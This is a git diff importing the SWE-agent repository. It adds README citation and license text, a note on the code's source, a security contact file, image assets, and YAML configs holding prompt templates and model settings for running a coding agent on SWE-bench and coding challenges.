+EnIGMA citation + +```bibtex +@misc{abramovich2024enigmaenhancedinteractivegenerative, + title={EnIGMA: Enhanced Interactive Generative Model Agent for CTF Challenges}, + author={Talor Abramovich and Meet Udeshi and Minghao Shao and Kilian Lieret and Haoran Xi and Kimberly Milner and Sofija Jancheska and John Yang and Carlos E. Jimenez and Farshad Khorrami and Prashanth Krishnamurthy and Brendan Dolan-Gavitt and Muhammad Shafique and Karthik Narasimhan and Ramesh Karri and Ofir Press}, + year={2024}, + eprint={2409.16165}, + archivePrefix={arXiv}, + primaryClass={cs.AI}, + url={https://arxiv.org/abs/2409.16165}, +} +``` +
+ + +## 🪪 License +MIT. Check `LICENSE`. + + +
+ +[![Pytest](https://github.com/SWE-agent/SWE-agent/actions/workflows/pytest.yaml/badge.svg)](https://github.com/SWE-agent/SWE-agent/actions/workflows/pytest.yaml) +[![build-docs](https://github.com/SWE-agent/SWE-agent/actions/workflows/build-docs.yaml/badge.svg)](https://github.com/SWE-agent/SWE-agent/actions/workflows/build-docs.yaml) +[![codecov](https://codecov.io/gh/SWE-agent/SWE-agent/graph/badge.svg?token=18XAVDK365)](https://codecov.io/gh/SWE-agent/SWE-agent) +[![pre-commit.ci status](https://results.pre-commit.ci/badge/github/SWE-agent/SWE-agent/main.svg)](https://results.pre-commit.ci/latest/github/SWE-agent/SWE-agent/main) +[![Markdown links](https://github.com/SWE-agent/SWE-agent/actions/workflows/check-links-periodic.yaml/badge.svg)](https://github.com/SWE-agent/SWE-agent/actions/workflows/check-links-periodic.yaml) + +
diff --git a/README.wehub.md b/README.wehub.md new file mode 100644 index 0000000..ff5ee2b --- /dev/null +++ b/README.wehub.md @@ -0,0 +1,7 @@ +# WeHub 来源说明 + +- 原始项目：`SWE-agent/SWE-agent` +- 原始仓库：https://github.com/SWE-agent/SWE-agent +- 导入方式：上游默认分支的最新快照 +- 原作者、版权和许可证信息以原始仓库及本仓库 LICENSE 为准 +- 本文件仅用于记录来源，不代表 WeHub 是原项目作者 diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..e82fb45 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,5 @@ +# Security Policy + +## Reporting a Vulnerability + +Please contact Kilian Lieret (kl5675@princeton.edu), John Yang (johnby@stanford.edu), Carlos E. Jimenez (carlosej@princeton.edu), and Ofir Press (ofirp@princeton.edu). diff --git a/assets/batch_animated.gif b/assets/batch_animated.gif new file mode 100644 index 0000000..9007a6d Binary files /dev/null and b/assets/batch_animated.gif differ diff --git a/assets/swe-agent-banner-dark.svg b/assets/swe-agent-banner-dark.svg new file mode 100644 index 0000000..92de5bf --- /dev/null +++ b/assets/swe-agent-banner-dark.svg @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/swe-agent-banner-light.svg b/assets/swe-agent-banner-light.svg new file mode 100644 index 0000000..41de630 --- /dev/null +++ b/assets/swe-agent-banner-light.svg @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/swe-agent-banner.png b/assets/swe-agent-banner.png new file mode 100644 index 0000000..ac8a14a Binary files /dev/null and b/assets/swe-agent-banner.png differ diff --git a/assets/swe-agent-banner.svg b/assets/swe-agent-banner.svg new file mode 100644 index 0000000..c19087e --- /dev/null +++ b/assets/swe-agent-banner.svg @@ -0,0 +1,41 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/assets/swe-agent-hand.png b/assets/swe-agent-hand.png new file mode 100644 index 0000000..48e40b0 Binary files /dev/null and b/assets/swe-agent-hand.png differ diff --git a/assets/swe-agent-hand.svg b/assets/swe-agent-hand.svg new file mode 100644 index 0000000..0ab5ba7 --- /dev/null +++ b/assets/swe-agent-hand.svg @@ -0,0 +1,51 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/assets/warning.png b/assets/warning.png new file mode 100644 index 0000000..852ec83 Binary files /dev/null and b/assets/warning.png differ diff --git a/codecov.yml b/codecov.yml new file mode 100644 index 0000000..6b36acf --- /dev/null +++ b/codecov.yml @@ -0,0 +1,16 @@ +# Configuration for codecov +coverage: + status: + project: + default: + # If we get < 50% coverage, codecov is gonna mark it a failure + target: 50% + threshold: null + patch: + default: + # Codecov won't mark it as a failure if a patch is not covered well + informational: true +github_checks: + # Don't mark lines that aren't covered + annotations: false + diff --git a/config/README.md b/config/README.md new file mode 100644 index 0000000..a6aa80f --- /dev/null +++ b/config/README.md @@ -0,0 +1,15 @@ +* Default config: `anthropic_filemap.yaml` +* `swebench_submissions`: Configs that were used for swebench submissions +* `sweagent_0_7`: Configs from SWE-agent 0.7, similar to the one used in the paper +* `exotic`: Various specific configurations that might be more of niche interest +* `human`: Demo/debug configs that have the human type commands and run without a LM +* `demo`: Configs for demonstrations/talks +* Configs for running with SWE-smith are at https://github.com/SWE-bench/SWE-smith/blob/main/agent/swesmith_infer.yaml + +🔗 Tutorial on [adding custom tools](https://swe-agent.com/latest/usage/adding_custom_tools/) +🔗 For more information on config files, visit [our documentation website][docs]. + +You can also find the corresponding markdown files in the [`docs/` folder][source]. + +[docs]: https://swe-agent.com/latest/config/config +[source]: https://github.com/SWE-agent/SWE-agent/tree/main/docs diff --git a/config/bash_only.yaml b/config/bash_only.yaml new file mode 100644 index 0000000..07b6fbf --- /dev/null +++ b/config/bash_only.yaml @@ -0,0 +1,222 @@ +# This config is a super basic, stripped down config that should be compatible with any instruction following LM +agent: + type: default + templates: + system_template: |- + You are a helpful assistant that can interact multiple times with a computer shell to solve programming tasks. + You operate in a REPL (Read-Eval-Print Loop) environment where you must issue exactly ONE command at a time. + Your response must contain exactly ONE bash code block with ONE command (or commands connected with && or ||). + + Include a THOUGHT section before your command where you explain your reasoning process. + Format your response as: + + THOUGHT: Your reasoning and analysis here + + ```bash + your_command_here + ``` + + Failure to follow these rules will cause your response to be rejected. + instance_template: |- + + {{working_dir}} + + + + I've uploaded a python code repository in the directory {{working_dir}}. + Consider the following PR description: + {{problem_statement}} + + + + # Task Instructions + + ## Overview + You're a software engineer interacting continuously with a computer shell in a REPL (Read-Eval-Print Loop) environment. + You'll be helping implement necessary changes to meet requirements in the PR description. + Your task is specifically to make changes to non-test files in the {{working_dir}} directory in order to fix the issue described in the PR description in a way that is general and consistent with the codebase. + + IMPORTANT: This is an interactive process where you will think and issue ONE command, see its result, then think and issue your next command. + + For each response: + 1. Include a THOUGHT section explaining your reasoning and what you're trying to accomplish + 2. Provide exactly ONE bash command to execute + + ## Important Boundaries + - MODIFY: Regular source code files in {{working_dir}} + - DO NOT MODIFY: Tests, configuration files (pyproject.toml, setup.cfg, etc.) + + ## Recommended Workflow + 1. Analyze the codebase by finding and reading relevant files + 2. Create a script to reproduce the issue + 3. Edit the source code to resolve the issue + 4. Verify your fix works by running your script again + 5. Test edge cases to ensure your fix is robust + + ## Command Execution Rules + You are operating in a REPL (Read-Eval-Print Loop) environment where: + 1. You write a single command + 2. The system executes that command + 3. You see the result + 4. You write your next command + + Each response should include: + 1. A **THOUGHT** section where you explain your reasoning and plan + 2. A single bash code block with your command + + Format your responses like this: + ``` + THOUGHT: Here I explain my reasoning process, analysis of the current situation, + and what I'm trying to accomplish with the command below. + + ```bash + your_command_here + ``` + ``` + + Commands must be specified in a single bash code block: + + ```bash + your_command_here + ``` + + **CRITICAL REQUIREMENTS:** + - Your response SHOULD include a THOUGHT section explaining your reasoning + - Your response MUST include EXACTLY ONE bash code block + - This bash block MUST contain EXACTLY ONE command (or a set of commands connected with && or ||) + - If you include zero or multiple bash blocks, or no command at all, YOUR RESPONSE WILL FAIL + - Do NOT try to run multiple independent commands in separate blocks in one response + + Example of a CORRECT response: + + THOUGHT: I need to understand the structure of the repository first. Let me check what files are in the current directory to get a better understanding of the codebase. + + ```bash + ls -la + ``` + + + Example of an INCORRECT response: + + THOUGHT: I need to examine the codebase and then look at a specific file. I'll run multiple commands to do this. + + ```bash + ls -la + ``` + + Now I'll read the file: + + ```bash + cat file.txt + ``` + + + If you need to run multiple commands, either: + 1. Combine them in one block using && or || + ```bash + command1 && command2 || echo "Error occurred" + ``` + + 2. Wait for the first command to complete, see its output, then issue the next command in your following response. + + ## Environment Details + - You have a full Linux shell environment + - Always use non-interactive flags (-y, -f) for commands + - Avoid interactive tools like vi, nano, or any that require user input + - If a command isn't available, you can install it + + ## Useful Command Examples + + ### Create a new file: + ```bash + cat <<'EOF' > newfile.py + import numpy as np + hello = "world" + print(hello) + EOF + ``` + + ### Edit files with sed: + ```bash + # Replace all occurrences + sed -i 's/old_string/new_string/g' filename.py + + # Replace only first occurrence + sed -i 's/old_string/new_string/' filename.py + + # Replace first occurrence on line 1 + sed -i '1s/old_string/new_string/' filename.py + + # Replace all occurrences in lines 1-10 + sed -i '1,10s/old_string/new_string/g' filename.py + ``` + + ### View file content: + ```bash + # View specific lines with numbers + nl -ba filename.py | sed -n '10,20p' + ``` + + ### Any other command you want to run + ```bash + anything + ``` + + ## Submission + When you've completed your changes or can't make further progress: + ```bash + submit + ``` + + We'll automatically save your work and have maintainers evaluate it. + + next_step_template: |- + + {{observation}} + + next_step_no_output_template: |- + + Your last command ran successfully and did not produce any output. + + max_observation_length: 10_000 + next_step_truncated_observation_template: |- + + The output of your last command was too long. + Please try a different command that produces less output. + If you're looking at a file you can try use head, tail or sed to view a smaller number of lines selectively. + If you're using grep or find and it produced too much output, you can use a more selective search pattern. + If you really need to see something from the full command's output, you can redirect output to a file and then search in that file. + + + + {{observation[ : max_observation_length // 2]}} + + + + {{elided_chars}} characters elided + + + + {{observation[- max_observation_length // 2:]}} + + command_cancelled_timeout_template: |- + + The command '{{command}}' was cancelled because it took more than {{timeout}} seconds to complete. + It may have been waiting for user input or otherwise blocked. + Please try a different command. + + tools: + execution_timeout: 60 + bundles: + - path: tools/submit + parse_function: + type: single_bash_code_block + model: + per_instance_cost_limit: 3 + per_instance_call_limit: 250 + total_cost_limit: 1500.0 + temperature: 0.0 + delay: 0.0 + retry: + retries: 6 + max_wait: 30 diff --git a/config/benchmarks/250212_sweagent_heavy_sbl.yaml b/config/benchmarks/250212_sweagent_heavy_sbl.yaml new file mode 100644 index 0000000..8947062 --- /dev/null +++ b/config/benchmarks/250212_sweagent_heavy_sbl.yaml @@ -0,0 +1,188 @@ +# Used for our SWE-Bench lite benchmark submission from 12 Feb 2025 +# Used together with swe-agent as +# sweagent run-batch --num_workers=12 --instances.type=swe_bench --instances.subset=lite --instances.split=test +# --instances.shuffle=True --instances.evaluate=True --instances.deployment.docker_args=--memory=10g --config config/retry_heavy_v3.yaml +# This template is heavily inspired by anthropic's computer use demo +agent: + type: retry + agent_configs: + # +filemap + - type: default + model: &model + name: claude-3-7-sonnet-latest + api_key: $CLAUDE_API_KEY_ROTATION + per_instance_cost_limit: 1.5 + per_instance_call_limit: 75 + total_cost_limit: 1000.0 + temperature: 0.0 + delay: 1.0 + templates: + system_template: &system_template |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: &instance_template |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: &next_step_no_diff |- + OBSERVATION: + {{observation}} + next_step_no_output_template: &next_step_no_output_no_diff |- + Your last command ran successfully and did not produce any output. + tools: + execution_timeout: &execution_timeout 300 + bundles: &vanilla_bundles + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + - path: tools/diff_state + enable_bash_tool: true + parse_function: &parse_function + type: function_calling + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: &submit_review_messages + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + history_processors: &vanilla_history_processors + - type: cache_control + last_n_messages: 2 + # vanilla anthropic + - type: default + model: *model + templates: + system_template: *system_template + instance_template: *instance_template + next_step_template: *next_step_no_diff + next_step_no_output_template: *next_step_no_output_no_diff + tools: + execution_timeout: *execution_timeout + bundles: *vanilla_bundles + enable_bash_tool: true + parse_function: *parse_function + registry_variables: + SUBMIT_REVIEW_MESSAGES: *submit_review_messages + history_processors: *vanilla_history_processors + # + state + - type: default + model: *model + templates: + system_template: *system_template + instance_template: *instance_template + next_step_template: &next_step_with_diff |- + {% if diff %} + + Your cumulative changes so far: + {{diff}} + + + {% endif %} + The observation from the last command: + {{observation}} + next_step_no_output_template: &next_step_no_output_with_diff |- + {% if diff %} + + Your cumulative changes so far: + {{diff}} + + {% endif %} + + Your last command ran successfully and did not produce any output. + tools: + execution_timeout: *execution_timeout + bundles: *vanilla_bundles + enable_bash_tool: true + parse_function: *parse_function + registry_variables: + SUBMIT_REVIEW_MESSAGES: *submit_review_messages + history_processors: &diff_history_processors + - type: remove_regex + keep_last: 2 + remove: + - ".*" + - type: cache_control + last_n_messages: 2 + last_n_messages_offset: 2 + retry_loop: + type: chooser + cost_limit: 6.0 + max_attempts: 10 + min_budget_for_new_attempt: 1.0 + chooser: + system_template: | + You are an expert software engineer reviewing code. Your thinking is very thorough, so it is ok if its very long. + instance_template: | + You will be given a problem statement and a list of patch submissions. + + Pick the most reasonable patch. + The patch should solve the problem described in the problem statement in a way that is consistent with the rest of the codebase and the conventions of the codebase. + + Note: Disregard all testing code in the patch, as testing was already done in a separate step. + Having a test in the patch does not make it any better. + + The last line of your response should be the index of the patch you chose. + You must choose a single index no matter what. If you cannot decide between two or more + submissions, choose the first one of these. + + + Problem statement: + {{problem_statement}} + + Submissions: + {% for submission in submissions %} + Submission {{loop.index0}}: + + {{submission}} + + {% endfor %} + + The last line of your response should be the index of the patch you chose without any other text. + submission_template: | + Patch: + + ```python + {{submission}} + ``` + + The final edited file with 30 lines of context: + + ```python + {{edited_files30}} + ``` + max_len_submission: &chooser_max_len_submission 5000 + model: &chooser_model + name: o1 + top_p: null + temperature: 1. + per_instance_cost_limit: 30 + completion_kwargs: + reasoning_effort: "high" diff --git a/config/benchmarks/250225_anthropic_filemap_simple_review.yaml b/config/benchmarks/250225_anthropic_filemap_simple_review.yaml new file mode 100644 index 0000000..c86c2f6 --- /dev/null +++ b/config/benchmarks/250225_anthropic_filemap_simple_review.yaml @@ -0,0 +1,75 @@ +# This template is heavily inspired by anthropic and openhands +# For running on lite: +# sweagent run-batch --num_workers=20 --instances.type=swe_bench --instances.subset=lite --instances.split=test --instances.shuffle=True --instances.evaluate=True --instances.deployment.docker_args='--memory=10g' --config config/250225_anthropic_filemap_simple_review.yaml +# For running on test: + +agent: + type: default + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your last command ran successfully and did not produce any output. + tools: + execution_timeout: 300 + bundles: + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + - path: tools/diff_state + enable_bash_tool: true + parse_function: + type: function_calling + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + history_processors: + - type: cache_control + last_n_messages: 2 + model: + name: claude-3-7-sonnet-20250219 + api_key: $CLAUDE_API_KEY_ROTATION + per_instance_cost_limit: 2 + per_instance_call_limit: 150 + total_cost_limit: 1000.0 + temperature: 0.0 + delay: 0.0 diff --git a/config/benchmarks/250522_anthropic_filemap_simple_review.yaml b/config/benchmarks/250522_anthropic_filemap_simple_review.yaml new file mode 100644 index 0000000..9a6a4a1 --- /dev/null +++ b/config/benchmarks/250522_anthropic_filemap_simple_review.yaml @@ -0,0 +1,92 @@ +# This template only features minor adaptions from the 250225 config. +# For running on lite: +# sweagent run-batch --config config/benchmarks/250522_anthropic_filemap_simple_review.yaml --num_workers=20 +# To fully reproduce, please run from the submissions/250522-sonnet-4-sbv branch +# For running on test: +random_delay_multiplier: 1.0 +instances: + type: swe_bench + subset: verified + split: test + shuffle: true + evaluate: true + deployment: + type: docker + docker_args: + - '--memory=10g' +agent: + type: default + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your last command ran successfully and did not produce any output. + tools: + execution_timeout: 300 + bundles: + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + - path: tools/diff_state + enable_bash_tool: true + parse_function: + type: function_calling + env_variables: + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + history_processors: + - type: cache_control + last_n_messages: 2 + model: + name: claude-sonnet-4-20250514 + api_key: $CLAUDE_API_KEY_ROTATION + per_instance_cost_limit: 3 + per_instance_call_limit: 150 + total_cost_limit: 1000.0 + temperature: 0.0 + delay: 0.0 diff --git a/config/benchmarks/250526_anthropic_filemap_simple_review_sbl.yaml b/config/benchmarks/250526_anthropic_filemap_simple_review_sbl.yaml new file mode 100644 index 0000000..2d9e621 --- /dev/null +++ b/config/benchmarks/250526_anthropic_filemap_simple_review_sbl.yaml @@ -0,0 +1,93 @@ +# Identical to the 250522 config except for a $5 limit/instance +# For running on lite: +# sweagent run-batch --config config/benchmarks/250526_anthropic_filemap_simple_review_sbl.yaml --num_workers=20 +# To fully reproduce, please run from the submissions/250526-sonnet-4-sbl branch +# For running on test: +random_delay_multiplier: 1.0 +instances: + type: swe_bench + subset: lite + split: test + shuffle: true + evaluate: true + deployment: + type: docker + docker_args: + - '--memory=10g' +agent: + type: default + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your last command ran successfully and did not produce any output. + tools: + execution_timeout: 300 + bundles: + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + - path: tools/diff_state + enable_bash_tool: true + parse_function: + type: function_calling + env_variables: + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + history_processors: + - type: cache_control + last_n_messages: 2 + model: + name: claude-sonnet-4-20250514 + api_key: $CLAUDE_API_KEY_ROTATION + per_instance_cost_limit: 5 + per_instance_call_limit: 0 + total_cost_limit: 1000.0 + temperature: 0.0 + delay: 0.0 + completion_kwargs: {'extra_headers': {'anthropic-beta': 'output-128k-2025-02-19'}} diff --git a/config/benchmarks/anthropic_filemap_multilingual.yaml b/config/benchmarks/anthropic_filemap_multilingual.yaml new file mode 100644 index 0000000..afcf2fa --- /dev/null +++ b/config/benchmarks/anthropic_filemap_multilingual.yaml @@ -0,0 +1,66 @@ +# This template is heavily inspired by anthropic, but you can use it with any LM. It is almost +# identical to anthropic_filemap.yaml, but it removes python-specific language +# and adds the multilingual_setup tool to support evaluation on the Multilingual dataset. +agent: + type: default + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + tools: + execution_timeout: 300 + bundles: + - path: tools/multilingual_setup + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + - path: tools/diff_state + enable_bash_tool: true + parse_function: + type: function_calling + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + history_processors: + - type: cache_control + last_n_messages: 2 diff --git a/config/coding_challenge.yaml b/config/coding_challenge.yaml new file mode 100644 index 0000000..660e584 --- /dev/null +++ b/config/coding_challenge.yaml @@ -0,0 +1,104 @@ +# This is the template you should use when using SWE-agent to solve a coding challenge (i.e. LeetCode). +# It also shows how to repurpose the agent to do tasks different from software engineering. +agent: + templates: + system_template: |- + SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface. + + The special interface consists of a file editor that shows you {{WINDOW}} lines of a file at a time. + In addition to typical bash commands, you can also use the following commands to help you navigate and edit files. + + COMMANDS: + {{command_docs}} + + Please note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. + If you'd like to add the line ' print(x)' you must fully write that out, with all those spaces before the code! Indentation is important and code that is not indented correctly will fail and require fixing before it can be run. + + RESPONSE FORMAT: + Your shell prompt is formatted as follows: + (Open file: ) $ + + You need to format your output using two fields; discussion and command. + Your output should always include _one_ discussion and _one_ command field EXACTLY as in the following example: + DISCUSSION + First I'll start by using ls to see what files are in the current directory. Then maybe we can look at some relevant files to see what they look like. + ``` + ls -a + ``` + + You should only include a *SINGLE* command in the command section and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference. + If you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first command, and then after receiving a response you'll be able to issue the second command. + You're free to use any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition to the special commands listed above. + However, the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them. + instance_template: |- + We're currently attempting to solve the following problem: + ISSUE: + {{issue}} + + INSTRUCTIONS: + Now, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. + Remember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command. + When you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command. + Note however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`. + + NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! + + IMPORTANT TIPS: + 1. Write your solution in main.py. Always test your code thoroughly before submitting, and if any of the tests fail, try to fix the code before continuing. + + 2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it! + + 3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. + + 4. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file. + + 5. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it. + + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_template: |- + {{observation}} + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + demonstration_template: | + Here is a demonstration of how to correctly accomplish this task. + It is included to show you how to correctly use the interface. + You do not need to follow exactly what is done in the demonstration. + --- DEMONSTRATION --- + {{demonstration}} + --- END OF DEMONSTRATION --- + demonstrations: + - trajectories/demonstrations/human_thought__swe-bench-HumanEvalFix-python__lcb__t-0.00__p-0.95__c-4.00__install-0/humanevalfix-python-0.traj + tools: + env_variables: + WINDOW: 100 + OVERLAP: 2 + CURRENT_LINE: 0 + CURRENT_FILE: "" + SEARCH_RESULTS: () + SEARCH_FILES: () + SEARCH_INDEX: 0 + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_replace + - path: tools/submit + parse_function: + type: thought_action + history_processors: + - type: last_n_observations + n: 5 diff --git a/config/default.yaml b/config/default.yaml new file mode 100644 index 0000000..fb79208 --- /dev/null +++ b/config/default.yaml @@ -0,0 +1,69 @@ +# Formerly called: anthropic_filemap.yaml +# This template is heavily inspired by anthropic's computer use demo, but you can use +# it with any LM. +agent: + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + 